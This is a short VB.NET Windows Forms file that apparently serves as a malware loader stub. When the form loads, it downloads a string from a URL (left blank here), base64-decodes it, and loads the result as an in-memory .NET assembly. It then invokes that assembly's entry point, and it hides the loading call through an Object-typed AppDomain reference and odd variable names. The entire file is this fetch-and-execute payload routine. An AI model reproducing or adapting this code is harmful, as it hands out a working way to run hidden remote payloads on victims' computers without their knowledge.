Public Class Form1
Protected Dyingfetus As New Net.WebClient
Protected Dyingfetus1 As String = Dyingfetus.DownloadString("")
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim mr As Object = king2.load(Convert.FromBase64String(Dyingfetus1))
Dim mr1 As Object = CallByName(mr, "EntryPoint", CallType.Get)
DirectCast(mr1, Reflection.MethodBase).Invoke("", Nothing)
End Sub
Protected king2 As Object = AppDomain.CurrentDomain
End Class